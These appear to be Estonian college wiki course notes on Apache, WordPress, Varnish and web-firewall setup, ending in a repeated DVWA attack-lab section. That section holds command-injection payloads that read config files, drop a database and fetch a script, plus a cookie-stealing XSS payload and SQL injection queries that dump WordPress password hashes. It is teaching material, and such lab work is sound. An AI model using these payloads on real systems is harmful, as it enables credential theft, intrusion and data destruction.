8.8.8.8; sed &#039;s/&amp;lt;/UUUU/&#039; ../../config/config.inc.php&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; ls -l &lt;br /&gt;
8.8.8.8; ls -l ../&lt;br /&gt;
8.8.8.8; ls -l ../../&lt;br /&gt;
#jne, kuni kõik failid/kataloogid on teada&lt;br /&gt;
8.8.8.8; sed &#039;s/&amp;lt;//&#039;  ../../../../wordpress/wp-config.php&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Loon faili kala /var/tmp kataloogi&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; touch /var/tmp/kala.txt&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ning kontrollin kas fail loodi&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; ls /var/tmp/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kustutada andmebaas (eelnevalt uurida andmebaasi nime ning parooli):&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8;mysqladmin DROP dvwa -y;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kuvada failide infot:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8;cat /etc/apache2/sites-enabled/www.planet.zz&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
skripti laadimine serverisse ning sellele käivitusbiti andmine:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; wget http://enos.itcollege.ee/~kloodus/osadmin/skript.sh -O /var/tmp/skript; chmod +x /var/tmp/skript/skript.sh&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kuidas teada saada, kas küpsised on JavaScriptile kasutamiseks lubatud või mitte. Lahendus kasutab command execution&#039;it (XSS auku pole leitud, ei saa kasutada, ...)&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
; grep session.cookie_httponly /etc/php5/apache2/php.ini&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljund:&lt;br /&gt;
* kui küpsised ei ole JavaScriptile loetavad, siis on väljund selline:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;session.cookie_httponly = 1&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* kui küpsised on JavaScriptile loetavad, siis on väljund selline (HINT: Tegutse ruttu! :))&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;session.cookie_httponly = 0&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
==XSS==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;var i=&#039;&amp;lt;img src=&amp;quot;http://192.168.56.101/&#039;+document.cookie+&#039;&amp;quot; /&amp;gt;&#039;; document.write(i);&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==veel XSSi==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
%3Cscript%3Evar+i%3D%27%3Cimg+src%3D%22http%3A%2F%2F192.168.56.101%2F%27%2Bdocument.cookie%2B%27%22+%2F%3E%27%3B+document.write%28i%29%3B%3C%2Fscript%3E&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==SQLi==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
#blind&lt;br /&gt;
1&#039; union select BENCHMARK(100000000,ENCODE(&#039;hello&#039;,&#039;goodbye&#039;)),1; # --&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2&#039; union select TABLE_SCHEMA, TABLE_NAME from information_schema.tables;# --&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3&#039; union  select TABLE_NAME,COLUMN_NAME from information_schema.columns; # --&lt;br /&gt;
&lt;br /&gt;
4&#039; union select user_login,user_pass from wp.wp_users; #&lt;br /&gt;
&lt;br /&gt;
3&#039; union  select TABLE_NAME,concat(COLUMN_NAME,&#039;-&#039;,&#039;LISA&#039;) from information_schema.columns; #&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=GreenSQL firewall=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wget http://elab.itcollege.ee:8000/Day3/greensql-fw_1.3.0_amd64.deb&lt;br /&gt;
&lt;br /&gt;
dpkg -i greensql-fw_1.3.0_amd64.deb&lt;br /&gt;
&lt;br /&gt;
apt-get install -f&lt;br /&gt;
&lt;br /&gt;
#Modify existing virtualhost or create new virtualhost.&lt;br /&gt;
&lt;br /&gt;
cd /var/www/EXISTINGORNEW&lt;br /&gt;
ln -s /usr/share/greensql-fw/ greensql&lt;br /&gt;
&lt;br /&gt;
cd greensql&lt;br /&gt;
chmod 0777 templates_c&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutajanimi veebiliidesel on &#039;&#039;&#039;admin&#039;&#039;&#039; ja parool &#039;&#039;&#039;pwd&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Muutke DVWA config failis andmebaasi asukohta:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$_DVWA[ &#039;db_server&#039; ] = &#039;127.0.0.1:3305&#039;;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#lisage faili /etc/rc.local järgmine ride ENNE exit 0 rida&lt;br /&gt;
service greensql-fw start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=modsecurity=&lt;br /&gt;
==installeerimine==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt-get install libapache2-mod-security2&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Muutke faili &#039;&#039;&#039;/etc/apache2/mods-available/security2.conf&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;IfModule security2_module&amp;gt;&lt;br /&gt;
        # Default Debian dir for modsecurity&#039;s persistent data&lt;br /&gt;
        SecDataDir /var/cache/modsecurity&lt;br /&gt;
&lt;br /&gt;
        # Include all the *.conf files in /etc/modsecurity.&lt;br /&gt;
        # Keeping your local configuration in that directory&lt;br /&gt;
        # will allow for an easy upgrade of THIS file and&lt;br /&gt;
        # make your life easier&lt;br /&gt;
        IncludeOptional /etc/modsecurity/*.conf&lt;br /&gt;
        IncludeOptional /usr/share/modsecurity-crs/base_rules/*.conf&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Teeme nimelingi modsecurity reeglite seadistamiseks:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ln -s /usr/share/modsecurity-crs/modsecurity_crs_10_setup.conf /etc/modsecurity/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Apache2 tweaks=&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
ServerSignature Off&lt;br /&gt;
ServerTokens Prod&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://chandank.com/webservers/apache/apache-web-server-hardening-security?start=3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Apache testimine ==&lt;br /&gt;
Lisaks ab&#039;le on olemas ka teisi utiliite:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1.Apache JMeter - http://jmeter.apache.org/download_jmeter.cgi &amp;lt;br&amp;gt;&lt;br /&gt;
2. httperf - http://www.hpl.hp.com/research/linux/httperf/download.php &amp;lt;br&amp;gt;&lt;br /&gt;
3. OpenWebLoad - http://openwebload.sourceforge.net/#download &amp;lt;br&amp;gt;&lt;br /&gt;
4. Allmon - https://code.google.com/p/allmon/downloads/list &amp;lt;br&amp;gt;&lt;br /&gt;
5. CLIF - http://clif.ow2.org/download/index.html &amp;lt;br&amp;gt;&lt;br /&gt;
6. curl-loader - http://sourceforge.net/projects/curl-loader/files/ &amp;lt;br&amp;gt;&lt;br /&gt;
7. deluge(alates 2002 ei ole uusi versioone) - http://sourceforge.net/projects/deluge/ &amp;lt;br&amp;gt;&lt;br /&gt;
8. dieseltest(ainult windowsile ning pole uuendatud aastast 2001) - http://sourceforge.net/projects/dieseltest/ &amp;lt;br&amp;gt;&lt;br /&gt;
9. FWPTT - http://sourceforge.net/projects/fwptt/files/ &amp;lt;br&amp;gt;&lt;br /&gt;
10. http_load - http://www.acme.com/software/http_load/ &amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Virtualhost_apache2_n%C3%A4itel&amp;diff=88392</id>
		<title>Virtualhost apache2 näitel</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Virtualhost_apache2_n%C3%A4itel&amp;diff=88392"/>
		<updated>2015-05-04T10:06:42Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* CRS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:IT infrastruktuuri teenused]]&lt;br /&gt;
=Apache seadistamine=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/hosts&lt;br /&gt;
&lt;br /&gt;
192.168.56.101  www.planet.zz&lt;br /&gt;
192.168.56.101  sales.planet.zz&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ping www.planet.zz&lt;br /&gt;
&lt;br /&gt;
ping sales.planet.zz    &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
apt-get update     &lt;br /&gt;
apt-get dist-upgrade&lt;br /&gt;
&lt;br /&gt;
apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
mkdir -p /var/www/www.planet.zz&lt;br /&gt;
mkdir -p /var/www/sales.planet.zz&lt;br /&gt;
cp /var/www/index.html /var/www/www.planet.zz&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat &amp;gt;&amp;gt; /etc/network/interfaces &amp;lt;&amp;lt;EOL&lt;br /&gt;
auto eth1:0&lt;br /&gt;
iface eth1:0 inet static&lt;br /&gt;
        address 192.168.56.201&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
EOL&lt;br /&gt;
&lt;br /&gt;
ifup eth1:0&lt;br /&gt;
&lt;br /&gt;
cp /var/www/index.html /var/www/sales.planet.zz&lt;br /&gt;
vim /var/www/www.planet.zz/index.html&lt;br /&gt;
vim /var/www/sales.planet.zz/index.html&lt;br /&gt;
cp /etc/apache2/sites-available/default /etc/apache2/sites-available/www.planet.zz&lt;br /&gt;
cp /etc/apache2/sites-available/default /etc/apache2/sites-available/sales.planet.zz&lt;br /&gt;
&lt;br /&gt;
vim www.planet.zz &lt;br /&gt;
vim sales.planet.zz &lt;br /&gt;
&lt;br /&gt;
a2ensite www.planet.zz&lt;br /&gt;
a2ensite sales.planet.zz &lt;br /&gt;
service apache2 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=WordPress tuning=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
        ServerName wp.planet.zz&lt;br /&gt;
        DocumentRoot /var/www/wordpress&lt;br /&gt;
        &amp;lt;Directory /&amp;gt;&lt;br /&gt;
                Options FollowSymLinks&lt;br /&gt;
                AllowOverride None&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /var/www/wordpress&amp;gt;&lt;br /&gt;
                Options Indexes FollowSymLinks MultiViews&lt;br /&gt;
                AllowOverride All&lt;br /&gt;
                Order allow,deny&lt;br /&gt;
                allow from all&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/&lt;br /&gt;
        &amp;lt;Directory &amp;quot;/usr/lib/cgi-bin&amp;quot;&amp;gt;&lt;br /&gt;
                AllowOverride None&lt;br /&gt;
                Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch&lt;br /&gt;
                Order allow,deny&lt;br /&gt;
                Allow from all&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
&lt;br /&gt;
        # Possible values include: debug, info, notice, warn, error, crit,&lt;br /&gt;
        # alert, emerg.&lt;br /&gt;
        LogLevel warn&lt;br /&gt;
&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
&lt;br /&gt;
    Alias /doc/ &amp;quot;/usr/share/doc/&amp;quot;&lt;br /&gt;
    &amp;lt;Directory &amp;quot;/usr/share/doc/&amp;quot;&amp;gt;&lt;br /&gt;
        Options Indexes MultiViews FollowSymLinks&lt;br /&gt;
        AllowOverride None&lt;br /&gt;
        Order deny,allow&lt;br /&gt;
        Deny from all&lt;br /&gt;
        Allow from 127.0.0.0/255.0.0.0 ::1/128&lt;br /&gt;
    &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pange tähele muudetud Directory seadeid.&lt;br /&gt;
&amp;lt;Directory /var/www/wordpress&amp;gt;&lt;br /&gt;
AllowOverride All&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &#039;-1000&#039; &amp;gt; /proc/$(pidof mysqld)/oom_score_adj&lt;br /&gt;
a2enmod rewrite &lt;br /&gt;
a2enmod headers &lt;br /&gt;
a2enmod expires &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selle rea võib lisada alglaadimisel käivitatavasse faili &#039;&#039;/etc/rc.local&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Paigaldage oma valitud cace plugin wordpressile.&lt;br /&gt;
&lt;br /&gt;
=Varnish=&lt;br /&gt;
Esmaselt tõstame apache2 porti 8080&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/apache2/ports.conf&lt;br /&gt;
NameVirtualHost *:8080&lt;br /&gt;
Listen 8080&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd /etc/apache2/sites-available&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; default -i&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; wp -i&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; sales.planet.zz -i&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; www.planet.zz -i&lt;br /&gt;
&lt;br /&gt;
#testimiseks&lt;br /&gt;
grep &#039;:80&#039; *&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&lt;br /&gt;
#testimiseks&lt;br /&gt;
netstat -lntp&lt;br /&gt;
&lt;br /&gt;
#installeerime varnish cache&lt;br /&gt;
apt-get install varnish&lt;br /&gt;
vim /etc/default/varnish&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DAEMON_OPTS=&amp;quot;-a :80 \&lt;br /&gt;
             -T localhost:6082 \&lt;br /&gt;
             -f /etc/varnish/default.vcl \&lt;br /&gt;
             -S /etc/varnish/secret \&lt;br /&gt;
             -s malloc,256m&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Faili /etc/varnish/default.vcl lisada X-Forwarded-For sedmine&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sub vcl_recv {&lt;br /&gt;
&lt;br /&gt;
  # Add a unique header containing the client address&lt;br /&gt;
&lt;br /&gt;
  remove req.http.X-Forwarded-For;&lt;br /&gt;
&lt;br /&gt;
  set    req.http.X-Forwarded-For = client.ip;&lt;br /&gt;
&lt;br /&gt;
  # [...]&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service varnish restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nüüd tuleb seadistada apache veebiserver selliselt, et logis kasutatakse seda custom-logi formaati. Selleks tuleb avada soovitud veebiserveri konfiguratsioon asukohas:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd /etc/apache2/sites-available/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Avage soovitud veebiserveri konfiguratsioonifail. Antud näites kasutan &amp;quot;wp&amp;quot;-nimelist faili.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano wp&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sinna tuleb kirjutada CustomLog&#039;i rea asemele&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CustomLog ${APACHE_LOG_DIR}/access.log varnishcombined&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nüüd tuleb muuta apache2 konfiguratsiooni, kuhu tuleb seadistada varnishcombined logiformaat. Selleks liigu asukohta&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd /etc/apache2/conf.d/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tee sinna uus fail nimega näiteks &#039;&#039;&#039;varnishlog.conf&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano varnishlog.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kirjuta sinna see rida&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LogFormat &amp;quot;%{X-Forwarded-For}i %l %u %t \&amp;quot;%r\&amp;quot; %&amp;gt;s %b \&amp;quot;%{Referer}i\&amp;quot; \&amp;quot;%{User-Agent}i\&amp;quot;&amp;quot; varnishcombined&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tee apache2 teenusele restart&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=DVWA ründed=&lt;br /&gt;
=HTTPS konfigureerimine=&lt;br /&gt;
&lt;br /&gt;
ssh-keygen &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Generating public/private rsa key pair.&lt;br /&gt;
Enter file in which to save the key (/root/.ssh/id_rsa): /etc/ssl/private/www.planet.zz.key&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Enter passphrase (empty for no passphrase): &lt;br /&gt;
Enter same passphrase again: &lt;br /&gt;
Your identification has been saved in /etc/ssl/private/www.planet.zz.key.&lt;br /&gt;
Your public key has been saved in /etc/ssl/private/www.planet.zz.key.pub.&lt;br /&gt;
The key fingerprint is:&lt;br /&gt;
76:6e:6a:b4:1b:75:7e:39:18:12:59:ee:9c:4c:b9:ef root@server&lt;br /&gt;
The key&#039;s randomart image is:&lt;br /&gt;
+--[ RSA 2048]----+&lt;br /&gt;
|            .    |&lt;br /&gt;
|           + .   |&lt;br /&gt;
|          o +    |&lt;br /&gt;
|           * o   |&lt;br /&gt;
|        S + O    |&lt;br /&gt;
|       ..+ + + . |&lt;br /&gt;
|       ...o o =  |&lt;br /&gt;
|        o+   o . |&lt;br /&gt;
|       .o.    E  |&lt;br /&gt;
+-----------------+&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
openssl req -new -key /etc/ssl/private/www.planet.zz.key -out /root/www.planet.zz.req&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
You are about to be asked to enter information that will be incorporated&lt;br /&gt;
into your certificate request.&lt;br /&gt;
What you are about to enter is what is called a Distinguished Name or a DN.&lt;br /&gt;
There are quite a few fields but you can leave some blank&lt;br /&gt;
For some fields there will be a default value,&lt;br /&gt;
If you enter &#039;.&#039;, the field will be left blank.&lt;br /&gt;
-----&lt;br /&gt;
Country Name (2 letter code) [AU]:EE&lt;br /&gt;
State or Province Name (full name) [Some-State]:Harjumaa&lt;br /&gt;
Locality Name (eg, city) []:Tallinn&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Planet &lt;br /&gt;
Organizational Unit Name (eg, section) []:&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:www.planet.zz&lt;br /&gt;
Email Address []:&lt;br /&gt;
&lt;br /&gt;
Please enter the following &#039;extra&#039; attributes&lt;br /&gt;
to be sent with your certificate request&lt;br /&gt;
A challenge password []:&lt;br /&gt;
An optional company name []:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sudo openssl x509 -req -days 3650 -in /root/www.planet.zz.req -signkey /etc/ssl/private/www.planet.zz.key -out /etc/ssl/certs/www.planet.zz.pem&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Signature ok&lt;br /&gt;
subject=/C=EE/ST=Harjumaa/L=Tallinn/O=Planet/OU=IT/CN=www.planet.zz&lt;br /&gt;
Getting Private key&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
cp /etc/apache2/sites-available/default-ssl /etc/apache2/sites-available/www.planet.zz-ssl&lt;br /&gt;
&lt;br /&gt;
Seal muuta sisu (sert, dokument root, keyfail)&lt;br /&gt;
&lt;br /&gt;
Lisa ServerName, Muuda DocumentRoot, Muuda SSLCertificateFile ja SSLCertificateKeyFile&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ServerName      www.planet.zz&lt;br /&gt;
DocumentRoot /var/www/www.planet.zz&lt;br /&gt;
SSLCertificateFile    /etc/ssl/certs/www.planet.zz.pem&lt;br /&gt;
SSLCertificateKeyFile /etc/ssl/private/www.planet.zz.key&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
a2ensite www.planet.zz-ssl&lt;br /&gt;
&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&lt;br /&gt;
=ID kaart=&lt;br /&gt;
&lt;br /&gt;
[[ID kaardiga autentimine Apache2 veebiserveriga]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=DVWA ründed=&lt;br /&gt;
==cmd exec==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; sed &#039;s/&amp;lt;/UUUU/&#039; ../../config/config.inc.php&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; ls -l &lt;br /&gt;
8.8.8.8; ls -l ../&lt;br /&gt;
8.8.8.8; ls -l ../../&lt;br /&gt;
#jne, kuni kõik failid/kataloogid on teada&lt;br /&gt;
8.8.8.8; sed &#039;s/&amp;lt;//&#039;  ../../../../wordpress/wp-config.php&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Loon faili kala /var/tmp kataloogi&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; touch /var/tmp/kala.txt&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ning kontrollin kas fail loodi&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; ls /var/tmp/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kustutada andmebaas (eelnevalt uurida andmebaasi nime ning parooli):&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8;mysqladmin DROP dvwa -y;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kuvada failide infot:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8;cat /etc/apache2/sites-enabled/www.planet.zz&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
skripti laadimine serverisse ning sellele käivitusbiti andmine:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; wget http://enos.itcollege.ee/~kloodus/osadmin/skript.sh -O /var/tmp/skript; chmod +x /var/tmp/skript/skript.sh&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kuidas teada saada, kas küpsised on JavaScriptile kasutamiseks lubatud või mitte. Lahendus kasutab command execution&#039;it (XSS auku pole leitud, ei saa kasutada, ...)&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
; grep session.cookie_httponly /etc/php5/apache2/php.ini&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljund:&lt;br /&gt;
* kui küpsised ei ole JavaScriptile loetavad, siis on väljund selline:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;session.cookie_httponly = 1&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* kui küpsised on JavaScriptile loetavad, siis on väljund selline (HINT: Tegutse ruttu! :))&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;session.cookie_httponly = 0&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
==XSS==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;var i=&#039;&amp;lt;img src=&amp;quot;http://192.168.56.101/&#039;+document.cookie+&#039;&amp;quot; /&amp;gt;&#039;; document.write(i);&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==veel XSSi==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
%3Cscript%3Evar+i%3D%27%3Cimg+src%3D%22http%3A%2F%2F192.168.56.101%2F%27%2Bdocument.cookie%2B%27%22+%2F%3E%27%3B+document.write%28i%29%3B%3C%2Fscript%3E&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==SQLi==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
#blind&lt;br /&gt;
1&#039; union select BENCHMARK(100000000,ENCODE(&#039;hello&#039;,&#039;goodbye&#039;)),1; # --&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
